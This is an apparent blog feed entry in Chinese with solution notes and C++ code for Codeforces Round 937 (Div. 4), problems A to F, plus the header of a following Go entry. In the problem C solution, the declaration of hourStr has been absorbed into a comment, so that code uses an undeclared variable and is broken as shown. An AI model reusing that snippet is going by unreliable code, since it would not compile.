<content type="html"><![CDATA[<p>欢乐div. 4</p><span id="more"></span><h2 id="a-stair-peak-or-neither"><a class="markdownIt-Anchor" href="#a-stair-peak-or-neither"></a> A. Stair, Peak, or Neither?</h2><p>输入 a, b, c<br>如果数字形成一个阶梯,输出“ STAIR”,如果数字形成一个峰值,输出“ PEAK”,否则输出“ NONE”(输出不带引号的字符串)。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span> </span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std; </span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll; </span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e6</span> + <span class="number">10</span>; </span><br><span class="line">ll t; </span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{ </span><br><span class="line"> cin >> t; </span><br><span class="line"> ll a, b ,c; </span><br><span class="line"> <span class="keyword">while</span> (t--) { </span><br><span class="line"> cin >> a >> b >> c; </span><br><span class="line"> <span class="keyword">if</span> (a < b && b < c) { </span><br><span class="line"> cout << <span class="string">"STAIR"</span> << endl; </span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (a < b && b > c) { </span><br><span class="line"> cout << <span class="string">"PEAK"</span> << endl; </span><br><span class="line"> } <span class="keyword">else</span> { </span><br><span class="line"> cout << <span class="string">"NONE"</span> << endl; </span><br><span class="line"> } } <span class="keyword">return</span> <span class="number">0</span>; </span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="b-upscaling"><a class="markdownIt-Anchor" href="#b-upscaling"></a> B. Upscaling</h2><p><img src="/2024/04/Codeforces%20Round%20937%20(Div.%204)/image-20240401170521653.png" alt><br>思路:两个看成一个处理</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e6</span> + <span class="number">10</span>;</span><br><span class="line">ll t, n;</span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> cin >> t;</span><br><span class="line"> ll a, b ,c;</span><br><span class="line"> <span class="keyword">while</span> (t--) {</span><br><span class="line"> cin >> n;</span><br><span class="line"> <span class="function">vector<string> <span class="title">ans</span><span class="params">(n * <span class="number">2</span>, string(n * <span class="number">2</span>, <span class="string">'.'</span>))</span></span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < n; i++) {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">0</span>; j < n; j++) {</span><br><span class="line"> <span class="keyword">if</span> ((i + j) % <span class="number">2</span> == <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> k = <span class="number">0</span>; k < <span class="number">2</span>; k++) {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> l = <span class="number">0</span>; l < <span class="number">2</span>; l++) {</span><br><span class="line"> ans[i * <span class="number">2</span> + k][j * <span class="number">2</span> + l] = <span class="string">'#'</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> it : ans) {</span><br><span class="line"> cout << it << endl;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="c-clock-conversion"><a class="markdownIt-Anchor" href="#c-clock-conversion"></a> C. Clock Conversion</h2><p>24 小时制转 12 小时</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span> </span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std; </span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll; </span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e6</span> + <span class="number">10</span>; </span><br><span class="line">ll t, n; </span><br><span class="line"> </span><br><span class="line"><span class="function">string <span class="title">convert24HourTo12Hour</span><span class="params">(<span class="type">const</span> string& time24)</span> </span>{ </span><br><span class="line"> <span class="comment">// Extract hours and minutes from the input string </span></span><br><span class="line"> <span class="type">int</span> hour = <span class="built_in">stoi</span>(time24.<span class="built_in">substr</span>(<span class="number">0</span>, <span class="number">2</span>)); </span><br><span class="line"> string minutes = time24.<span class="built_in">substr</span>(<span class="number">3</span>); </span><br><span class="line"> </span><br><span class="line"> <span class="comment">// Determine the period (AM/PM) </span></span><br><span class="line"> string period = hour >= <span class="number">12</span> ? <span class="string">"PM"</span> : <span class="string">"AM"</span>; </span><br><span class="line"> </span><br><span class="line"> <span class="comment">// Convert hour to 12-hour format </span></span><br><span class="line"> hour = hour % <span class="number">12</span>; </span><br><span class="line"> <span class="keyword">if</span> (hour == <span class="number">0</span>) hour = <span class="number">12</span>; <span class="comment">// Handle midnight and noon cases </span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">// Format the hour to ensure it has two digits string hourStr = (hour < 10) ? "0" + to_string(hour) : to_string(hour); </span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">// Construct the final string </span></span><br><span class="line"> <span class="keyword">return</span> hourStr + <span class="string">":"</span> + minutes + <span class="string">" "</span> + period; </span><br><span class="line">} </span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{ </span><br><span class="line"> cin >> t; </span><br><span class="line"> ll a, b ,c; </span><br><span class="line"> <span class="keyword">while</span> (t--) { </span><br><span class="line"> string inputTime; </span><br><span class="line"><span class="comment">// cout << "Enter time in 24-hour format (HH:MM): "; </span></span><br><span class="line"> cin >> inputTime; </span><br><span class="line"> </span><br><span class="line"> string convertedTime = <span class="built_in">convert24HourTo12Hour</span>(inputTime); </span><br><span class="line"> cout << convertedTime << endl; </span><br><span class="line"> </span><br><span class="line"> } <span class="keyword">return</span> <span class="number">0</span>; </span><br><span class="line">} </span><br></pre></td></tr></table></figure><h2 id="d-product-of-binary-decimals"><a class="markdownIt-Anchor" href="#d-product-of-binary-decimals"></a> D. Product of Binary Decimals</h2><p>只包换 1 和 0 的数的乘积 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><mn>1</mn><msup><mn>0</mn><mn>5</mn></msup><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\left(1 \leq n \leq 10^5\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.20001em;vertical-align:-0.35001em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">)</span></span></span></span></span></span><br>思路,先 BFS 枚举 n 范围内的所有可能数,倒序枚举,如果为因子则循环除去,如果最后为 1 输出 YES 否则 NO</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e6</span> + <span class="number">10</span>;</span><br><span class="line">ll t, n;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> debug(x) cout << #x << <span class="string">" = "</span> << x << endl</span></span><br><span class="line"></span><br><span class="line"><span class="function">vector<<span class="type">long</span> <span class="type">long</span>> <span class="title">generateBinaryDecimals</span><span class="params">(<span class="type">int</span> n)</span> </span>{</span><br><span class="line"> queue<<span class="type">long</span> <span class="type">long</span>> q;</span><br><span class="line"> q.<span class="built_in">push</span>(<span class="number">1</span>); <span class="comment">// Start with 1 as the first binary decimal number</span></span><br><span class="line"> vector<<span class="type">long</span> <span class="type">long</span>> result;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> (!q.<span class="built_in">empty</span>()) {</span><br><span class="line"> <span class="type">long</span> <span class="type">long</span> num = q.<span class="built_in">front</span>();</span><br><span class="line"> q.<span class="built_in">pop</span>();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Check if the current number is less than or equal to n</span></span><br><span class="line"> <span class="keyword">if</span> (num <= n) {</span><br><span class="line"> result.<span class="built_in">push_back</span>(num);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Generate the next numbers by appending 0 and 1</span></span><br><span class="line"> q.<span class="built_in">push</span>(num * <span class="number">10</span>);</span><br><span class="line"> q.<span class="built_in">push</span>(num * <span class="number">10</span> + <span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> vector<ll> tmp = <span class="built_in">generateBinaryDecimals</span>(<span class="number">100000</span>);</span><br><span class="line"><span class="comment">// for (auto it : tmp) {</span></span><br><span class="line"><span class="comment">// cout << it << endl;</span></span><br><span class="line"><span class="comment">// }</span></span><br><span class="line"> cin >> t;</span><br><span class="line"> <span class="comment">// remove 1</span></span><br><span class="line"> tmp.<span class="built_in">erase</span>(tmp.<span class="built_in">begin</span>());</span><br><span class="line"> <span class="built_in">sort</span>(tmp.<span class="built_in">begin</span>(), tmp.<span class="built_in">end</span>(), <span class="built_in">greater</span><ll>());</span><br><span class="line"> ll a, b, c;</span><br><span class="line"> <span class="keyword">while</span> (t--) {</span><br><span class="line"> cin >> n;</span><br><span class="line"> <span class="comment">// then</span></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> it: tmp) {</span><br><span class="line"> <span class="keyword">while</span> (n % it == <span class="number">0</span>) {</span><br><span class="line"> n /= it;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (n == <span class="number">1</span>) {</span><br><span class="line"> cout << <span class="string">"YES"</span> << endl;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> cout << <span class="string">"NO"</span> << endl;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">1</span></span><br><span class="line"><span class="comment">10</span></span><br><span class="line"><span class="comment">11</span></span><br><span class="line"><span class="comment">100</span></span><br><span class="line"><span class="comment">101</span></span><br><span class="line"><span class="comment">110</span></span><br><span class="line"><span class="comment">111</span></span><br><span class="line"><span class="comment">1000</span></span><br><span class="line"><span class="comment">1001</span></span><br><span class="line"><span class="comment">1010</span></span><br><span class="line"><span class="comment">1011</span></span><br><span class="line"><span class="comment">1100</span></span><br><span class="line"><span class="comment">1101</span></span><br><span class="line"><span class="comment">1110</span></span><br><span class="line"><span class="comment">1111</span></span><br><span class="line"><span class="comment">10000</span></span><br><span class="line"><span class="comment">10001</span></span><br><span class="line"><span class="comment">10010</span></span><br><span class="line"><span class="comment">10011</span></span><br><span class="line"><span class="comment">10100</span></span><br><span class="line"><span class="comment">10101</span></span><br><span class="line"><span class="comment">10110</span></span><br><span class="line"><span class="comment">10111</span></span><br><span class="line"><span class="comment">11000</span></span><br><span class="line"><span class="comment">11001</span></span><br><span class="line"><span class="comment">11010</span></span><br><span class="line"><span class="comment">11011</span></span><br><span class="line"><span class="comment">11100</span></span><br><span class="line"><span class="comment">11101</span></span><br><span class="line"><span class="comment">11110</span></span><br><span class="line"><span class="comment">11111</span></span><br><span class="line"><span class="comment">100000</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure><h2 id="e-nearly-shortest-repeating-substring"><a class="markdownIt-Anchor" href="#e-nearly-shortest-repeating-substring"></a> E. Nearly Shortest Repeating Substring</h2><p>给定一个长度为 n 的 string,取一个子串长短 k<br>要求 n % k == 0<br>将 n / k 个子串拼接后与 string 至多只有一个字符不同</p><p>思路:<br>枚举子串长度,map 记录,如果可行需保证 map 的 size <= 2,<br>如果为 1 则说明可以<br>如果为 2 必须保证有一个 value 为 1 且 key 1 和 key 2 的差别只有一个字符串</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e6</span> + <span class="number">10</span>;</span><br><span class="line">ll t, n;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> debug(x) cout << #x << <span class="string">" = "</span> << x << endl</span></span><br><span class="line"><span class="function"><span class="type">bool</span> <span class="title">check</span><span class="params">(string s, <span class="type">int</span> mid)</span> </span>{</span><br><span class="line"> <span class="comment">// check if have a substring of length mid</span></span><br><span class="line"> <span class="type">int</span> n = s.<span class="built_in">size</span>();</span><br><span class="line"> unordered_map<string, <span class="type">int</span>> mp;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i <= n - mid; i+=mid) {</span><br><span class="line"> string sub = s.<span class="built_in">substr</span>(i, mid);</span><br><span class="line"> mp[sub]++;</span><br><span class="line"> <span class="keyword">if</span> (mp.<span class="built_in">size</span>() > <span class="number">2</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (mp.<span class="built_in">size</span>() == <span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (mp.<span class="built_in">size</span>() == <span class="number">2</span>) {</span><br><span class="line"> <span class="comment">// must have one value == 1</span></span><br><span class="line"> <span class="type">bool</span> f1 = <span class="number">0</span>;</span><br><span class="line"> string s11 = <span class="string">""</span>;</span><br><span class="line"> <span class="type">int</span> c = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> it : mp) {</span><br><span class="line"> <span class="keyword">if</span> (it.second == <span class="number">1</span>) {</span><br><span class="line"> f1 = <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (s11 == <span class="string">""</span>) {</span><br><span class="line"> s11 = it.first;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < s11.<span class="built_in">size</span>(); i++) {</span><br><span class="line"> <span class="keyword">if</span> (s11[i] != it.first[i]) {</span><br><span class="line"> c++;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (f1 && c <= <span class="number">1</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"></span><br><span class="line"> ll a, b ,c;</span><br><span class="line"> cin >> t;</span><br><span class="line"> <span class="keyword">while</span> (t--) {</span><br><span class="line"> string s;</span><br><span class="line"> cin >> n;</span><br><span class="line"> cin >> s;</span><br><span class="line"> <span class="comment">// a string len n</span></span><br><span class="line"> <span class="comment">// find min len of string k</span></span><br><span class="line"> <span class="comment">// find the number n % k == 0</span></span><br><span class="line"> vector<<span class="type">int</span>> v;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i <= n; i++) {</span><br><span class="line"> <span class="keyword">if</span> (n % i == <span class="number">0</span>) {</span><br><span class="line"> v.<span class="built_in">push_back</span>(i);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> ll ans = n;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span> it : v) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">check</span>(s, it)) {</span><br><span class="line"> ans = it;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> cout << ans << endl;</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="f-0-1-2-tree补题"><a class="markdownIt-Anchor" href="#f-0-1-2-tree补题"></a> F. 0, 1, 2, Tree!(补题)</h2><p>给点a, b, c 个度分别为 2,1,0 的节点,构建深度最小的树</p><p>思路:</p><ol><li>先通过 a 和 c 构造完全二叉树,然后其中可以插入任意 b,所以有a + 1 != c(不能构成完全二叉树) 就是-1</li><li>我们一个一个点添加,一层一层遍历,每个节点对当前层的接口数的贡献是-1。如果是节点2,对下一层接口数贡献为2,节点1贡献为1。如果当前层接口数用完了就下一层,初始值层0设为1</li></ol><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/stdc++.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> ll;</span><br><span class="line"><span class="type">const</span> <span class="type">int</span> N = <span class="number">2e5</span> + <span class="number">10</span>;</span><br><span class="line">ll t, n;</span><br><span class="line">ll v[N];</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> debug(x) cout << #x << <span class="string">" = "</span> << x << endl</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"></span><br><span class="line"> ll a, b, c;</span><br><span class="line"> cin >> t;</span><br><span class="line"> <span class="keyword">while</span> (t--) {</span><br><span class="line"> cin >> a >> b >> c;</span><br><span class="line"> <span class="comment">// tree min height</span></span><br><span class="line"> <span class="comment">// a node have 2 son</span></span><br><span class="line"> <span class="comment">// b node have 1 son</span></span><br><span class="line"> <span class="comment">// c node have 0 son</span></span><br><span class="line"> <span class="comment">// a b c <= 10^5</span></span><br><span class="line"> <span class="comment">// a + b + c = 3 * 10^5</span></span><br><span class="line"></span><br><span class="line"> ll tmp = <span class="number">0</span>;</span><br><span class="line"> <span class="built_in">memset</span>(v, <span class="number">0</span>, <span class="keyword">sizeof</span> v);</span><br><span class="line"> <span class="keyword">if</span> (a + <span class="number">1</span> != c) {</span><br><span class="line"> cout << <span class="number">-1</span> << endl;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> v[<span class="number">0</span>] = <span class="number">1</span>;</span><br><span class="line"> ll h = <span class="number">0</span>;</span><br><span class="line"> <span class="type">int</span> l = a + b + c;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i <= l; i++) {</span><br><span class="line"> <span class="keyword">if</span> (!v[h]) {</span><br><span class="line"> h++;</span><br><span class="line"> }</span><br><span class="line"> v[h]--;</span><br><span class="line"> <span class="keyword">if</span> (a) {</span><br><span class="line"> a--;</span><br><span class="line"> v[h + <span class="number">1</span>] += <span class="number">2</span>;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span>(b) {</span><br><span class="line"> b--;</span><br><span class="line"> v[h + <span class="number">1</span>]++;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span>(c) {</span><br><span class="line"> c--;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> cout << h << endl;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>欢乐div. 4</p></summary>
<category term="补题" scheme="https://blog.lancelot.top/tags/%E8%A1%A5%E9%A2%98/"/>
<category term="Codeforces" scheme="https://blog.lancelot.top/tags/Codeforces/"/>
<category term="算法" scheme="https://blog.lancelot.top/tags/%E7%AE%97%E6%B3%95/"/>
</entry>
<entry>
<title>Golang内存逃逸</title>
<link href="https://blog.lancelot.top/2024/03/Golang%E5%86%85%E5%AD%98%E9%80%83%E9%80%B8/"/>
<id>https://blog.lancelot.top/2024/03/Golang%E5%86%85%E5%AD%98%E9%80%83%E9%80%B8/</id>
<published>2024-03-27T08:13:00.000Z</published>
<updated>2024-04-06T10:35:51.653Z</updated>
